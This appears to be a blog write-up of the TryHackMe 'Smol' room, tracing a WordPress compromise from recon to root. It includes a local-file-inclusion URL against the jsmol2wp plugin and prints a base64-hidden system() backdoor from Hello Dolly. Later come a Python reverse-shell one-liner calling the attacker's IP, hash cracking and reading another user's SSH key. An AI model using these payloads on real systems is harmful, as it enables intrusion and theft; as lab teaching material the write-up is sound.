Post

Smol - TryHackMe - Walkthrough

This room involves finding a public exploit, abusing it to obtain a backdoor and doing privilege esclation to get root.

Smol - TryHackMe - Walkthrough

Description

This is a Write-Up for the room Smol with a difficult level of medium on the TryHackMe platform. You can visit the room here.

The room provides us with a informative description.

At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.

Quick Tips: Do you know that on computers without GPU like the AttackBox, John The Ripper is faster than Hashcat?

Note: Please allow 4 minutes for the VM to fully boot up.

Initial Recon

As always I started with a nmap scan. I found out that two ports are open:

1
2
3
4
5
6
7
8
PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.thm
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
19124/tcp filtered unknown no-response

The next thing I did is adding the IP address and domain to my /etc/hosts file.

1
10.10.52.188 www.smol.thm

The URL, which we can see at the top, looks like a typical WordPress application.

Exploiting the LFI

The next thing I did is running wpscan, this tool will enumerate the WordPress installation and looks for plugins, versions and more.

1
wpscan --url http://www.smol.thm/

Note: I changed my virtual machine from Parrot to Kali, because the tool is by default installed on that distribution and doesn’t require setup.

I went through the output and found this plugin, I searched online for any known exploits.

This looks like the vulnerability we are searching for, I next checked the links related to this vulnerability and found this PoC exploit.

Apparently we can simply read the wp-config.php file which includes the database credentials and other information. I modified the URL from the PoC to http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php, this should give me the content of the config file.

With that we got a password and a username from the config file. The next thing to do is checking the users present on the WordPress site. I used wpscan for that again:

1
wpscan --url http://www.smol.thm/ --enumerate u

We got the following users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[i] User(s) Identified:

[+] Jose Mario Llado Marti
 | Found By: Rss Generator (Passive Detection)

[+] wordpress user
 | Found By: Rss Generator (Passive Detection)

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] think
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wp
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] diego
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] gege
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] xavi
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

This is quite a long list of users. I firstly tried the password we already discovered in the wp-config.php file for the user wpuser. The wpscan for users confirms that we should try these credentials, because there is a user named wordpress user. So I logged in with these credentials which gave us access to the authors page of WordPress.

Backdoor

I went through the WordPress pages and found a interesting private post.

The first bullet point looks interesting: There is a backdoor described inside the Hello Dolly plugin. I firstly googled what this plugin is. This plugin is an ancient plugin with no actual purpose, this is an ideal place for a backdoor. With some research I found out that the plugin lives under this URL: http://www.smol.thm/wp-content/plugins/hello.php, it doesn’t really display anything, but we already have LFI to view files, so why not viewing the source code of this plugin. You can use this URL:

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php

The code of that file looks suspicious (I truncated unnecessary lines):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

function hello_dolly_get_lyric() {
	/** These are the lyrics to Hello Dolly */
	$lyrics = "NOTIMPORTANT";

	// Here we split it into lines.
	$lyrics = explode( "\n", $lyrics );

	// And then randomly choose a line.
	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}

// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
	eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
	
	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}

	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
		$lang,
		$chosen
	);
}

// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );

// We need some CSS to position the paragraph.
function dolly_css() {
	echo "
	<NONSENSESTYLE>
	";
}

add_action( 'admin_head', 'dolly_css' );

The eval looks particularly malicious, which is why I decoded the base64. The code which is run by the eval is a check whether the parameter \143\155\x64 exists, if it exists it’s used with the system command, which can execute code.

1
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

This looks like a backdoor we can abuse. I next tried to figure out what that means. The first two chars we can simply decode with Cyberchef with the From Octal method. The decoded characters are cm, in python we can run chr(0x64) which shows that this is a d, so the parameter we can use is cmd.

I next found out that the hello.php file and the function hello_dolly is called whenever we load the wp-admin page. So to get our reverse shell we can add the cmd parameter to the /wp-admin page and execute commands. T check if that works I first tried to curl my IP.

This works, which is why the next thing to do is getting a reverse shell. I used a encoded payload to escape the URL encoding problem. To do that I first created a file with my Python payload:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

.. and generated the payload with:

1
echo "echo `cat payload.txt | base64 | tr -d '\n'` | base64 -d | bash"

I pasted the whole output of the command as the cmd parameter and got the reverse shell.

Privilege Escalation

diego

The first thing to do now is stabilizing the reverse shell.

I next logged into the mysql database and checked the users and passwords:

1
2
use wordpress;
select user_login,user_pass from wp_users;

We got a list of hashes:

1
2
3
4
5
6
7
8
9
10
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi       | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
+------------+------------------------------------+

Let’s try to crack them. I transferred the hashes to my host inside a file and used john (self-build from GitHub repository) to ‘crack’ them.

1
./john --format=phpass --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt wordpress.txt

JohnTheRipper found one password, which success fully worked for the user diego on the machine:

Users on the machine:

1
2
3
4
5
6
www-data@smol:/var/www/wordpress$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/usr/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash

With that we could get the user flag.

1
2
diego@smol:~$ cat user.txt 
FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE

think

As the user diego, we have access to every home folder because we are in the internal group.

1
2
3
4
5
6
7
8
diego@smol:~$ id 
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)
diego@smol:~$ ls -lh /home/
total 16K
drwxr-x--- 2 diego internal 4.0K Aug 18  2023 diego
drwxr-x--- 2 gege  internal 4.0K Aug 18  2023 gege
drwxr-x--- 5 think internal 4.0K Jan 12  2024 think
drwxr-x--- 2 xavi  internal 4.0K Aug 18  2023 xavi

With that we can read the id_rsa key of the user think:

1
2
3
diego@smol:/home/think/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn

I copied the key to my machine and set the permissions right (chmod 600 id_rsa). Now we got a useable shell on the machine.

1
2
3
4
5
$ ssh -i id_rsa think@10.10.52.188
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
...
Last login: Sat Jan 25 11:43:17 2025 from 10.14.78.229
think@smol:~$ 

gege

Now I tried finding other passwords on the server. In the /opt folder there is a SQL file, which includes passwords which differ from the passwords from mysql.

1
2
3
4
5
6
7
think@smol:/opt$ cat wp_backup.sql | grep '\$P\$' | grep -o "'\$P\$[A-Za-z0-9./]\{31\}'" | tr -d "'"
$P$Bvi8BHb84pjY/Kw0RWsOXUXsQ1aACL1
$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
$P$B0jO/cdGOCZhlAJfPSqV2gVi2pb7Vd/
$P$BsIY1w5krnhP3WvURMts0/M4FwiG0m1
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
$P$BvcalhsCfVILp2SgttADny40mqJZCN/

I now tried cracking them too. After about 10 minutes with my RTX 3060, I got this password:

I tired it for gege, but wait what?

1
2
think@smol:/opt$ su gege
gege@smol:/opt$ 

We didn’t even need a password for gege.

Note: We need the password in the next step, so don’t skip cracking it.

xavi

I next checked the home folder and found a zip archive with old Wordpress data, this may include credentials, to extract this file we need a password, I tried the password we cracked for the user gege and it simply worked:

1
2
3
4
5
6
gege@smol:~$ ls
wordpress.old.zip
gege@smol:~$ unzip wordpress.old.zip 
Archive:  wordpress.old.zip
   creating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password: 

The wp-config.php file contained some now credentials:

1
2
3
4
5
6
7
gege@smol:~/wordpress.old$ cat wp-config.php | grep 'DB'
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'xavi' );
define( 'DB_PASSWORD', 'FAKEPWD' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

I tired the credentials for the user xavi, this gave me a shell as xavi.

root

Finally we need to get root, I checked xavi’s sudo rights and found out that he can run anything as root:

1
2
3
4
5
6
7
xavi@smol:/home/gege/wordpress.old$ sudo -l
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL

With that we were able to get the root flag:

1
2
xavi@smol:/home/gege/wordpress.old$ sudo cat /root/root.txt
FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE

This challenge involved many steps and was all in all a nice box.

This post is licensed under CC BY 4.0 by the author.